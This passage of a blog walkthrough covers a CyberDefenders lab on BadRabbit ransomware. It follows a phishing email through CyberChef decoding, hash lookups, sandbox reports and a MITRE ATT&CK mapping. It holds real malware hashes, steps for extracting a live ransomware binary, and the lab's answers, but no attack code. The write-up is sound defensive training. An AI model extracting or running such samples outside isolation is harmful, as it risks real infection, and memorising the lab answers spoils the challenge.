&lt;strong&gt;CyberChef&lt;/strong&gt;, &lt;strong&gt;VirusTotal&lt;/strong&gt;, &lt;strong&gt;Recorded Future Tria.ge&lt;/strong&gt;, &lt;strong&gt;Any.Run&lt;/strong&gt;, and &lt;strong&gt;Malpedia&lt;/strong&gt;. This isn&amp;rsquo;t always the most efficient path, but it&amp;rsquo;s a very realistic one. In real investigations, you&amp;rsquo;re often correlating CTI, validating what others have already observed, and deciding how much confidence to place in the evidence available, rather than reverse engineering everything from scratch.&lt;/p&gt;&#xA;&lt;p&gt;As we work through the questions, we&amp;rsquo;ll bounce between email analysis, file metadata, behavioral reports, ATT&amp;amp;CK mappings, and attribution, sometimes revisiting the same artifacts from different angles. That repetition is intentional. The goal isn&amp;rsquo;t just to answer the questions, but to introduce different tools, show how they complement each other, and model an investigation workflow that values context over speed.&lt;/p&gt;&#xA;&lt;p&gt;And hey, if you find this walkthrough helpful, whether it helps you level up your memory forensics skills, gets you over a stumbling block, or just serves as a useful reference, consider following me for more weekly deep dives.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me. Let&amp;rsquo;s go!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You are an investigator assigned to assist Drumbo, a company that recently fell victim to a ransomware attack. The attack began when an employee received an email that appeared to be from the boss. It featured the company&amp;rsquo;s logo and a familiar email address. Believing the email was legitimate, the employee opened the attachment, which compromised the system and deployed ransomware, encrypting sensitive files. Your task is to investigate and analyze the artifacts to uncover information about the attacker.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;setup-the-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the Analysis Environment &amp;amp; Extract the Challenge File:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first! When working with lab/challenge files from &lt;strong&gt;CyberDefenders&lt;/strong&gt; &lt;em&gt;(or any educational lab/challenge/range),&lt;/em&gt; it&amp;rsquo;s important to be responsible and stay safe by interacting with potentially malicious files in a dedicated, isolated virtual machine environment. For this challenge I&amp;rsquo;m using &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;REMnux&lt;/strong&gt;&lt;/a&gt;&lt;em&gt;,&lt;/em&gt; a specialized &lt;em&gt;Linux&lt;/em&gt; distribution for malware analysis.&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused, I&amp;rsquo;m going to skip step-by-step setup directions of &lt;em&gt;REMnux,&lt;/em&gt; but if you&amp;rsquo;d like to set up your own environment, please follow the guide provided by &lt;em&gt;REMnux&lt;/em&gt; directly. For reference, I used the virtual appliance method:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page-----d2311959d5f3--------------------------------&#34;  title=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page-----d2311959d5f3--------------------------------&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Get the Virtual Appliance | REMnux Documentation&lt;/strong&gt;&#xA;_The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into&amp;hellip;_docs.remnux.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page-----d2311959d5f3--------------------------------&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-the-phishing-email-used-to-deliver-the-malicious-attachment-showed-several-indicators-of-a-potential-social-engineering-attempt-recognizing-these-indicators-can-help-identify-similar-threats-in-the-future&#34;&gt;Question 1: The phishing email used to deliver the malicious attachment showed several indicators of a potential social engineering attempt. Recognizing these indicators can help identify similar threats in the future.&#xA;&lt;/h3&gt;&lt;p&gt;What is the suspicious email address that sent the attachment?&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s get to it. Our first step is to extract the attachment named &lt;code&gt;Urget Contract Action.zip&lt;/code&gt;, which leaves us with our primary artifact, &lt;code&gt;Urget Contract Action.eml&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;418px&#34; data-flex-grow=&#34;174&#34; height=&#34;459&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/266f4833ff4b4c4817052b9021bd82f3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overview of the Challenge File&lt;/p&gt;&#xA;&lt;p&gt;Before opening anything further, you might notice a &lt;code&gt;warning.txt&lt;/code&gt; file included with the challenge. &lt;strong&gt;This one is important.&lt;/strong&gt; It explains that we&amp;rsquo;ll be interacting with real malware samples, so if you skipped the &amp;ldquo;Setup the Analysis Environment&amp;quot;section, take a moment to pause here and make sure you&amp;rsquo;re working in a safe, isolated environment and understand the warning issued by the challenge.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;599px&#34; data-flex-grow=&#34;249&#34; height=&#34;258&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/dca128966f589f88be7c70fa666c2434_MD5.png&#34; width=&#34;644&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Heed the warning&lt;/p&gt;&#xA;&lt;p&gt;The first thing we need to do is a basic email header analysis. There are a lot of ways to approach this using dedicated mailbox or header analysis tools, but for this writeup, we&amp;rsquo;ll take a slightly different route and lean on &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberChef&lt;/strong&gt;&lt;/a&gt;. That gives us the flexibility to handle both header analysis and file extraction in one place.&lt;/p&gt;&#xA;&lt;p&gt;You can use either the online or offline version of &lt;em&gt;CyberChef&lt;/em&gt;. With either option, the approach is the same. Drop &lt;code&gt;Urget Contract Action.eml&lt;/code&gt; directly into the input window.&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt; and identify indicators of social engineering, we can apply the &amp;ldquo;Extract email addresses&amp;rdquo; operation to our recipe. This quickly pulls out all email addresses present in the message headers and body, saving us from manually digging through raw header text.&lt;/p&gt;&#xA;&lt;p&gt;And almost immediately, something stands out.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;418&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/cc8286f20cd4cfaa7a6e6ccf8d6ea421_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;CyberChef: Identifying the suspicious sender address&lt;/p&gt;&#xA;&lt;p&gt;Instead of coming from Drumbo&amp;rsquo;s legitimate domain, the sender address uses a fun typo. The domain reads &amp;ldquo;drurnbo&amp;rdquo; instead of Drumbo. This kind of typo squatting is a common social engineering tactic, relying on how easily &amp;ldquo;rn&amp;rdquo; can visually blend in to look like &amp;ldquo;m&amp;rdquo; at a glance. The attacker also leveraged the CEO&amp;rsquo;s name, adding urgency and legitimacy to the message and increasing the likelihood that the recipient would trust the attachment and open it&amp;hellip;which worked!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;990px&#34; data-flex-grow=&#34;412&#34; height=&#34;192&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/acbf7c98a4c49b49edf0f62cba17ca48_MD5.png&#34; width=&#34;792&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-the-ransomware-was-identified-as-part-of-a-known-malware-family-determining-its-family-name-can-provide-critical-insights-into-its-behavior-and-remediation-strategies&#34;&gt;Question 2: The ransomware was identified as part of a known malware family. Determining its family name can provide critical insights into its behavior and remediation strategies.&#xA;&lt;/h3&gt;&lt;p&gt;What is the family name of the ransomware identified during the investigation?&lt;/p&gt;&#xA;&lt;p&gt;Next, we need to extract the attachment from the phishing email so we can begin some initial analysis. While it would be much easier to simply open the &lt;code&gt;.eml&lt;/code&gt; file in an email client, we can also extract the attachment directly using &lt;strong&gt;CyberChef&lt;/strong&gt; and keep everything inside our current workflow.&lt;/p&gt;&#xA;&lt;p&gt;To do this, scroll down and identify the section of the email labeled:&lt;/p&gt;&#xA;&lt;p&gt;Content-Disposition: attachment; filename=&amp;ldquo;Urgent Contract Action.pdf.exe&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;Just below that header, you&amp;rsquo;ll see a long Base64-encoded blob. That blob is the attachment itself, named &lt;code&gt;Urgent Contract Action.pdf.exe&lt;/code&gt;. The filename alone is already doing some social engineering. The double extension strongly suggests an executable file attempting to masquerade as a harmless PDF.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;468px&#34; data-flex-grow=&#34;195&#34; height=&#34;410&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/a8d796fb0717bab2c54d435035283692_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;CyberChef: Identifying the attachment as Base64&lt;/p&gt;&#xA;&lt;p&gt;Keep in mind that the blob is much longer than what&amp;rsquo;s visible in the screenshot. Make sure to copy the entire Base64 string and then paste it into a new input window within &lt;em&gt;CyberChef&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;467px&#34; data-flex-grow=&#34;194&#34; height=&#34;411&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/f8c366a5d02276928e8a45bb27949bb3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;CyberChef: Decoding and extracting the attachment&lt;/p&gt;&#xA;&lt;p&gt;Once pasted in, add the &amp;ldquo;From Base64&amp;quot;and &amp;ldquo;Extract Files&amp;rdquo; operations to the recipe. This allows us to reconstruct the original attachment directly from the email content. In this challenge, the extracted file appears as &lt;code&gt;extracted_at_0x0.exe&lt;/code&gt;. Go ahead and save that file.&lt;/p&gt;&#xA;&lt;p&gt;The next step is to grab the SHA-256 hash of the extracted executable. This hash is critical because it gives us a fingerprint that can be used to search threat intelligence platforms for known malware samples.&lt;/p&gt;&#xA;&lt;p&gt;On a Linux system, we can generate the hash using the following command:&lt;/p&gt;&#xA;&lt;p&gt;sha256sum extracted_at_0x0.exe&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;592px&#34; data-flex-grow=&#34;246&#34; height=&#34;324&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/1cb471e8f97be0e566d6d71826adcede_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Calculating the SHA256 hash of the ransomware binary&lt;/p&gt;&#xA;&lt;p&gt;Which produces:&lt;/p&gt;&#xA;&lt;p&gt;630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da&lt;/p&gt;&#xA;&lt;p&gt;With the file hash in hand, it&amp;rsquo;s time to pivot into external threat intelligence. Copy the hash and submit it to &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt;. This sample has been observed before and is flagged as malicious by multiple vendors.&lt;/p&gt;&#xA;&lt;p&gt;What we care about most for &lt;strong&gt;Question 2&lt;/strong&gt;, though, is the malware family classification: &lt;strong&gt;BadRabbit&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;655px&#34; data-flex-grow=&#34;273&#34; height=&#34;293&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/bbb93725767d1b9c1d5b1387e715cc15_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Identifying the ransomware family&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;ve confirmed the malware family, we can start digging into its behavior and better understand what we&amp;rsquo;re dealing with.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1021px&#34; data-flex-grow=&#34;425&#34; height=&#34;188&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/86c548b5f83b7a28cf0d95191828c4ea_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-upon-execution-the-ransomware-dropped-a-file-onto-the-compromised-system-to-initiate-its-payload-identifying-this-file-is-essential-for-understanding-its-infection-process&#34;&gt;Question 3: Upon execution, the ransomware dropped a file onto the compromised system to initiate its payload. Identifying this file is essential for understanding its infection process.&#xA;&lt;/h3&gt;&lt;p&gt;What is the name of the first file dropped by the ransomware?&lt;/p&gt;&#xA;&lt;p&gt;To begin answering &lt;strong&gt;Question 3&lt;/strong&gt;, there&amp;rsquo;s a good lesson worth calling out. When gathering cyber threat intelligence, you often need to consult multiple sources to paint a complete picture. No single platform tells the whole story. That&amp;rsquo;s exactly what we&amp;rsquo;re going to do next.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s take a brief detour away from &lt;em&gt;VirusTotal&lt;/em&gt; and highlight another excellent malware analysis and threat intelligence resource: &lt;a class=&#34;link&#34; href=&#34;https://tria.ge&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Recorded Future Tria.ge&lt;/strong&gt;&lt;/a&gt;. While much of this behavioral detail is technically available in &lt;em&gt;VirusTotal&lt;/em&gt;, it&amp;rsquo;s easier to visualize and explain using &lt;em&gt;Tria.ge&amp;rsquo;s&lt;/em&gt; sandbox reporting.&lt;/p&gt;&#xA;&lt;p&gt;Navigate to the &lt;em&gt;Reports&lt;/em&gt; tab and submit the &lt;strong&gt;BadRabbit&lt;/strong&gt; hash we collected earlier.&lt;/p&gt;&#xA;&lt;p&gt;Heads-up, you&amp;rsquo;ll likely see several results. Go ahead and select a report that matches the same filename as our extracted sample. I&amp;rsquo;ve linked the exact report I used below to keep things consistent.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://tria.ge/251107-yd3m1ahm6v/behavioral1&#34;  title=&#34;https://tria.ge/251107-yd3m1ahm6v/behavioral1&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;badrabbit | 630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da | Triage&lt;/strong&gt;&#xA;_Check this badrabbit report malware sample 630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da, with a&amp;hellip;_tria.ge&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://tria.ge/251107-yd3m1ahm6v/behavioral1&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once inside the report, click &lt;strong&gt;Tasks&lt;/strong&gt; and then select &lt;em&gt;behavioral1&lt;/em&gt;. From there, scroll down to the &lt;em&gt;Processes&lt;/em&gt; section.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1939px&#34; data-flex-grow=&#34;808&#34; height=&#34;99&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/d6720bd5ec63a0be84dd40b88a705b29_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Tria.ge: Behavioral report &amp;gt; Processes snippet&lt;/p&gt;&#xA;&lt;p&gt;This is where things get interesting. The behavioral analysis shows that shortly after execution, the ransomware binary launches &lt;code&gt;rundll32.exe&lt;/code&gt;. That process is then used to drop a file named &lt;code&gt;infpub.dat&lt;/code&gt; onto the system.&lt;/p&gt;&#xA;&lt;p&gt;This answers &lt;strong&gt;Question 3&lt;/strong&gt; for us. The first file dropped by the ransomware during execution is &lt;code&gt;infpub.dat&lt;/code&gt;. More importantly, this gives us our next breadcrumb.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1010px&#34; data-flex-grow=&#34;421&#34; height=&#34;190&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/60480164c60b7b03ff573bc0f8926678_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-inside-the-dropped-file-the-malware-contained-hardcoded-artifacts-including-usernames-and-passwords-that-could-provide-clues-about-its-origins-or-configuration&#34;&gt;Question 4: Inside the dropped file, the malware contained hardcoded artifacts, including usernames and passwords that could provide clues about its origins or configuration.&#xA;&lt;/h3&gt;&lt;p&gt;What is the only person&amp;rsquo;s username found within the dropped file?&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;ve confirmed the name of the dropped file, let&amp;rsquo;s jump back over to &lt;em&gt;VirusTotal&lt;/em&gt; and look at the &lt;em&gt;dropped files&lt;/em&gt; view for the original &lt;em&gt;BadRabbit&lt;/em&gt; hash we identified in &lt;strong&gt;Question 2&lt;/strong&gt;. The goal here is to change perspective. By pivoting back to &lt;em&gt;VirusTotal&lt;/em&gt;, we can dig deeper into &lt;code&gt;infpub.dat&lt;/code&gt; using threat intelligence that complements what we already saw in &lt;em&gt;Recorded Future Tria.ge&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Navigate to the &lt;strong&gt;Relations&lt;/strong&gt; tab and then select &lt;em&gt;Dropped Files&lt;/em&gt;. This view is a bit less structured than what we saw in &lt;em&gt;Tria.ge&lt;/em&gt;, but with a little digging, we can locate &lt;code&gt;infpub.dat&lt;/code&gt; and click into it to start answering &lt;strong&gt;Question 4&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;222px&#34; data-flex-grow=&#34;92&#34; height=&#34;862&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/8c26bd55f3fba37f131a806e9cf352bc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;VirusTotal: Identifying the hash of infpub.dat&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Once on the &lt;em&gt;VirusTotal&lt;/em&gt; page for &lt;code&gt;infpub.dat&lt;/code&gt;, we get several analysis options. Before jumping straight into our own static analysis, it&amp;rsquo;s worth seeing what the community and external researchers have already uncovered.&lt;/p&gt;&#xA;&lt;p&gt;Head over to the &lt;em&gt;Community&lt;/em&gt; tab. This section often contains links to malware write-ups, analyst notes, or external research that can save us time and help validate our assumptions.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;307px&#34; data-flex-grow=&#34;127&#34; height=&#34;580&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/c999fe45ce4a34ff71cfc03c6e38ab44_MD5.png&#34; width=&#34;742&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Finding external reporting through the community comments&lt;/p&gt;&#xA;&lt;p&gt;In this case, there&amp;rsquo;s a particularly helpful link to an analysis published on ESET&amp;rsquo;s &lt;em&gt;WeLiveSecurity&lt;/em&gt; blog. The report provides key insight into &lt;em&gt;BadRabbit&amp;rsquo;s&lt;/em&gt; internal artifacts and behavior, including the use of embedded credentials.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/&#34;  title=&#34;https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Bad Rabbit: Not-Petya is back with improved ransomware&lt;/strong&gt;&#xA;_A new ransomware outbreak today has hit some major infrastructure in Ukraine including Kiev metro. Here are some&amp;hellip;_www.welivesecurity.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Mimikatz is launched on the compromised computer to harvest credentials. &lt;strong&gt;A hardcoded list of usernames and passwords is also present&lt;/strong&gt;.&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;Reviewing the reported credential data, we see several system or service-related account names. However, one username stands out. Unlike generic entries such as guest, administrator, or service-style accounts, there is a single, clearly human username embedded in the file: &lt;code&gt;alex&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;That makes &lt;code&gt;alex&lt;/code&gt; the only person&amp;rsquo;s username found within the dropped file, and the answer to &lt;strong&gt;Question 4&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;567px&#34; data-flex-grow=&#34;236&#34; height=&#34;327&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/be4858c0216c30e26e8a6ab69ba6d101_MD5.png&#34; width=&#34;773&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the username through the ESET report&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1005px&#34; data-flex-grow=&#34;418&#34; height=&#34;191&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/be66b63877e8b212e60e53d00bb785d5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-after-execution-the-ransomware-communicated-with-a-c2-server-recognizing-its-communication-techniques-can-assist-in-mitigation&#34;&gt;Question 5: After execution, the ransomware communicated with a C2 server. Recognizing its communication techniques can assist in mitigation.&#xA;&lt;/h3&gt;&lt;p&gt;What MITRE ATT&amp;amp;CK sub-technique describes the ransomware&amp;rsquo;s use of web protocols for sending and receiving data?&lt;/p&gt;&#xA;&lt;p&gt;After execution, the ransomware needs a way to communicate with its command-and-control infrastructure. Understanding how it sends and receives data is important, because these techniques often inform both detection and mitigation strategies.&lt;/p&gt;&#xA;&lt;p&gt;Since we already have the hash for &lt;code&gt;infpub.dat&lt;/code&gt; from &lt;strong&gt;Question 4&lt;/strong&gt;, we can pivot to another useful tool to help with this analysis: &lt;a class=&#34;link&#34; href=&#34;https://app.any.run/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Any.Run&lt;/strong&gt;&lt;/a&gt;. This interactive sandbox is especially helpful for visualizing network behavior, rather than stumbling through static reports.&lt;/p&gt;&#xA;&lt;p&gt;Navigate to the &lt;em&gt;Any.Run&lt;/em&gt; reports section and search for the hash associated with the dropped file. From the available results, select one of the public analysis runs. For example, the report below matches the same sample and provides clear network data:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://app.any.run/tasks/b83b65e0-5717-4e98-9763-32cd281ff023&#34;  title=&#34;https://app.any.run/tasks/b83b65e0-5717-4e98-9763-32cd281ff023&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Analysis infpub.exe (MD5: 1D724F95C61F1055F0D02C2154BBCCD3) Malicious activity — Interactive&amp;hellip;&lt;/strong&gt;&#xA;_Interactive malware hunting service. Live testing of most type of threats in any environments. No installation and no&amp;hellip;_app.any.run&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://app.any.run/tasks/b83b65e0-5717-4e98-9763-32cd281ff023&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once inside the report, turn your attention to the &lt;em&gt;Network Threats&lt;/em&gt; tab in the bottom pane. Scroll through the color-coded rows until you reach entries marked as &amp;ldquo;potentially bad traffic.&amp;ldquo;This is where things click. The report highlights &lt;em&gt;WebDAV&lt;/em&gt; traffic associated with &lt;code&gt;infpub.dat&lt;/code&gt;, showing it being used to send and receive data over the network. WebDAV blends into normal-looking web traffic, which makes it attractive for malware trying to avoid detection.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-brabbit-lab-walkthrough/9fa3931b1a73eb15a6dd1594aff33b71_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Any.Run: Identifying potentially malicious WebDAV traffic&lt;/p&gt;&#xA;&lt;p&gt;This behavior maps to the MITRE ATT&amp;amp;CK sub-technique &lt;strong&gt;Application Layer Protocol: Web Protocols&lt;/strong&gt; (&lt;em&gt;T1071.001&lt;/em&gt;). This technique describes adversaries communicating over common web-based application protocols in order to blend in with legitimate network activity.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1071/001/&#34;  title=&#34;https://attack.mitre.org/techniques/T1071/001/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Application Layer Protocol: Web Protocols&lt;/strong&gt;&#xA;_Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network&amp;hellip;_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1071/001/&#34;  